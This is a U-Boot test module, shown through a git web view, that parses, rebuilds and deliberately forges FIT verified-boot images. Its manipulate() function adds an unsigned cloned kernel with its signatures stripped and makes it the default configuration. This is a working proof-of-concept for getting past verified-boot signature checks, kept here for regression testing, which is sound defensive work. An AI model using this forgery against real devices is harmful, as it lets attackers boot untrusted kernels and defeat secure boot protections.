]>
git.ipfire.org Git - thirdparty/u-boot.git/blob - test/py/tests/vboot_forge.py
2 # SPDX-License-Identifier: GPL-2.0
3 # Copyright (c) 2020, F-Secure Corporation, https://foundry.f-secure.com
5 # pylint: disable=E1101,W0201,C0103
8 Verified boot image forgery tools and utilities
10 This module provides services to both take apart and regenerate FIT images
11 in a way that preserves all existing verified boot signatures, unless you
12 manipulate nodes in the process.
17 from io
import BytesIO
20 # struct parsing helpers
23 class BetterStructMeta(type):
25 Preprocesses field definitions and creates a struct.Struct instance from them
27 def __new__(cls
, clsname
, superclasses
, attributedict
):
28 if clsname
!= 'BetterStruct':
29 fields
= attributedict
['__fields__']
30 field_types
= [_
[0] for _
in fields
]
31 field_names
= [_
[1] for _
in fields
if _
[1] is not None]
32 attributedict
['__names__'] = field_names
33 s
= struct
.Struct(attributedict
.get('__endian__', '') + ''.join(field_types
))
34 attributedict
['__struct__'] = s
35 attributedict
['size'] = s
.size
36 return type.__new
__(cls
, clsname
, superclasses
, attributedict
)
38 class BetterStruct(metaclass
=BetterStructMeta
):
40 Base class for better structures
43 for t
, n
in self
.__fields
__:
46 elif t
in ('Q', 'I', 'H', 'B'):
50 def unpack_from(cls
, buffer, offset
=0):
52 Unpack structure instance from a buffer
54 fields
= cls
.__struct
__.unpack_from(buffer, offset
)
56 for n
, v
in zip(cls
.__names
__, fields
):
57 setattr(instance
, n
, v
)
62 Pack structure instance into bytes
64 return self
.__struct
__.pack(*[getattr(self
, n
) for n
in self
.__names
__])
67 items
= ["'%s': %s" % (n
, repr(getattr(self
, n
))) for n
in self
.__names
__ if n
is not None]
68 return '(' + ', '.join(items
) + ')'
71 # some defs for flat DT data
74 class HeaderV17(BetterStruct
):
79 ('I', 'off_dt_struct'),
80 ('I', 'off_dt_strings'),
81 ('I', 'off_mem_rsvmap'),
83 ('I', 'last_comp_version'),
84 ('I', 'boot_cpuid_phys'),
85 ('I', 'size_dt_strings'),
86 ('I', 'size_dt_struct'),
89 class RRHeader(BetterStruct
):
96 class PropHeader(BetterStruct
):
100 ('I', 'name_offset'),
103 # magical constants for DTB format
104 OF_DT_HEADER
= 0xd00dfeed
112 Represents a parsed device tree string block
114 def __init__(self
, values
=None):
120 def __getitem__(self
, at
):
121 if isinstance(at
, str):
123 for value
in self
.values
:
126 offset
+= len(value
) + 1
128 self
.values
.append(at
)
131 if isinstance(at
, int):
133 for value
in self
.values
:
136 offset
+= len(value
) + 1
137 raise IndexError('no string found corresponding to the given offset')
139 raise TypeError('only strings and integers are accepted')
143 Represents a parsed device tree property
145 def __init__(self
, name
=None, value
=None):
150 return Prop(self
.name
, self
.value
)
153 return "<Prop(name='%s', value=%s>" % (self
.name
, repr(self
.value
))
157 Represents a parsed device tree node
159 def __init__(self
, name
=None):
166 o
.props
= [x
.clone() for x
in self
.props
]
167 o
.children
= [x
.clone() for x
in self
.children
]
170 def __getitem__(self
, index
):
171 return self
.children
[index
]
174 return "<Node('%s'), %s, %s>" % (self
.name
, repr(self
.props
), repr(self
.children
))
180 def parse_strings(strings
):
182 Converts the bytes into a StringsBlock instance so it is convenient to work with
184 strings
= strings
.split(b
'\x00')
185 return StringsBlock(strings
)
187 def parse_struct(stream
):
189 Parses DTB structure(s) into a Node or Prop instance
191 tag
= bytearray(stream
.read(4))[3]
192 if tag
== OF_DT_BEGIN_NODE
:
194 while b
'\x00' not in name
:
195 name
+= stream
.read(4)
196 name
= name
.rstrip(b
'\x00')
199 item
= parse_struct(stream
)
200 while item
is not None:
201 if isinstance(item
, Node
):
202 node
.children
.append(item
)
203 elif isinstance(item
, Prop
):
204 node
.props
.append(item
)
205 item
= parse_struct(stream
)
209 if tag
== OF_DT_PROP
:
210 h
= PropHeader
.unpack_from(stream
.read(PropHeader
.size
))
211 length
= (h
.value_size
+ 3) & (~
3)
212 value
= stream
.read(length
)[:h
.value_size
]
213 prop
= Prop(h
.name_offset
, value
)
216 if tag
in (OF_DT_END_NODE
, OF_DT_END
):
219 raise ValueError('unexpected tag value')
223 Reads and parses the flattened device tree (or derivatives like FIT)
225 header
= HeaderV17
.unpack_from(fp
.read(HeaderV17
.size
))
226 if header
.magic
!= OF_DT_HEADER
:
227 raise ValueError('invalid magic value %08x; expected %08x' % (header
.magic
, OF_DT_HEADER
))
228 # TODO: read/parse reserved regions
229 fp
.seek(header
.off_dt_struct
)
230 structs
= fp
.read(header
.size_dt_struct
)
231 fp
.seek(header
.off_dt_strings
)
232 strings
= fp
.read(header
.size_dt_strings
)
233 strblock
= parse_strings(strings
)
234 root
= parse_struct(BytesIO(structs
))
236 return root
, strblock
242 def compose_structs_r(item
):
244 Recursive part of composing Nodes and Props into a bytearray
248 if isinstance(item
, Node
):
249 t
.extend(struct
.pack('>I', OF_DT_BEGIN_NODE
))
250 if isinstance(item
.name
, str):
251 item
.name
= bytes(item
.name
, 'utf-8')
252 name
= item
.name
+ b
'\x00'
254 name
+= b
'\x00' * (4 - (len(name
) & 3))
257 t
.extend(compose_structs_r(p
))
258 for c
in item
.children
:
259 t
.extend(compose_structs_r(c
))
260 t
.extend(struct
.pack('>I', OF_DT_END_NODE
))
262 elif isinstance(item
, Prop
):
263 t
.extend(struct
.pack('>I', OF_DT_PROP
))
266 h
.name_offset
= item
.name
268 h
.value_size
= len(value
)
271 value
+= b
'\x00' * (4 - (len(value
) & 3))
279 def compose_structs(root
):
281 Composes the parsed Nodes into a flat bytearray instance
283 t
= compose_structs_r(root
)
284 t
.extend(struct
.pack('>I', OF_DT_END
))
287 def compose_strings(strblock
):
289 Composes the StringsBlock instance back into a bytearray instance
292 for s
in strblock
.values
:
297 def write_fdt(root
, strblock
, fp
):
299 Writes out a complete flattened device tree (or FIT)
302 header
.magic
= OF_DT_HEADER
304 header
.last_comp_version
= 16
305 fp
.write(header
.pack())
307 header
.off_mem_rsvmap
= fp
.tell()
308 fp
.write(RRHeader().pack())
310 structs
= compose_structs(root
)
311 header
.off_dt_struct
= fp
.tell()
312 header
.size_dt_struct
= len(structs
)
315 strings
= compose_strings(strblock
)
316 header
.off_dt_strings
= fp
.tell()
317 header
.size_dt_strings
= len(strings
)
320 header
.totalsize
= fp
.tell()
323 fp
.write(header
.pack())
326 # pretty printing / converting to DT source
330 return ' '.join(["%02X" % x
for x
in value
])
332 def prety_print_value(value
):
334 Formats a property value as appropriate depending on the guessed data type
338 if value
[-1] == b
'\x00':
342 if x
!= 0 and (x
< 0x20 or x
> 0x7F):
347 return ', '.join('"' + x
+ '"' for x
in value
.split(b
'\x00'))
348 if len(value
) > 0x80:
349 return '[' + as_bytes(value
[:0x80]) + ' ... ]'
350 return '[' + as_bytes(value
) + ']'
352 def pretty_print_r(node
, strblock
, indent
=0):
354 Prints out a single node, recursing further for each of its children
356 spaces
= ' ' * indent
357 print((spaces
+ '%s {' % (node
.name
.decode('utf-8') if node
.name
else '/')))
359 print((spaces
+ ' %s = %s;' % (strblock
[p
.name
].decode('utf-8'), prety_print_value(p
.value
))))
360 for c
in node
.children
:
361 pretty_print_r(c
, strblock
, indent
+1)
362 print((spaces
+ '};'))
364 def pretty_print(node
, strblock
):
366 Generates an almost-DTS formatted printout of the parsed device tree
369 pretty_print_r(node
, strblock
, 0)
372 # manipulating the DT structure
375 def manipulate(root
, strblock
):
377 Maliciously manipulates the structure to create a crafted FIT file
379 # locate /images/kernel-1 (frankly, it just expects it to be the first one)
380 kernel_node
= root
[0][0]
381 # clone it to save time filling all the properties
382 fake_kernel
= kernel_node
.clone()
384 fake_kernel
.name
= b
'kernel-2'
385 # get rid of signatures/hashes
386 fake_kernel
.children
= []
387 # NOTE: this simply replaces the first prop... either description or data
388 # should be good for testing purposes
389 fake_kernel
.props
[0].value
= b
'Super 1337 kernel\x00'
390 # insert the new kernel node under /images
391 root
[0].children
.append(fake_kernel
)
393 # modify the default configuration
394 root
[1].props
[0].value
= b
'conf-2\x00'
395 # clone the first (only?) configuration
396 fake_conf
= root
[1][0].clone()
397 # rename and change kernel and fdt properties to select the crafted kernel
398 fake_conf
.name
= b
'conf-2'
399 fake_conf
.props
[0].value
= b
'kernel-2\x00'
400 fake_conf
.props
[1].value
= b
'fdt-1\x00'
401 # insert the new configuration under /configurations
402 root
[1].children
.append(fake_conf
)
404 return root
, strblock
407 with
open(argv
[1], 'rb') as fp
:
408 root
, strblock
= read_fdt(fp
)
411 pretty_print(root
, strblock
)
413 root
, strblock
= manipulate(root
, strblock
)
415 pretty_print(root
, strblock
)
417 with
open('blah', 'w+b') as fp
:
418 write_fdt(root
, strblock
, fp
)
420 if __name__
== '__main__':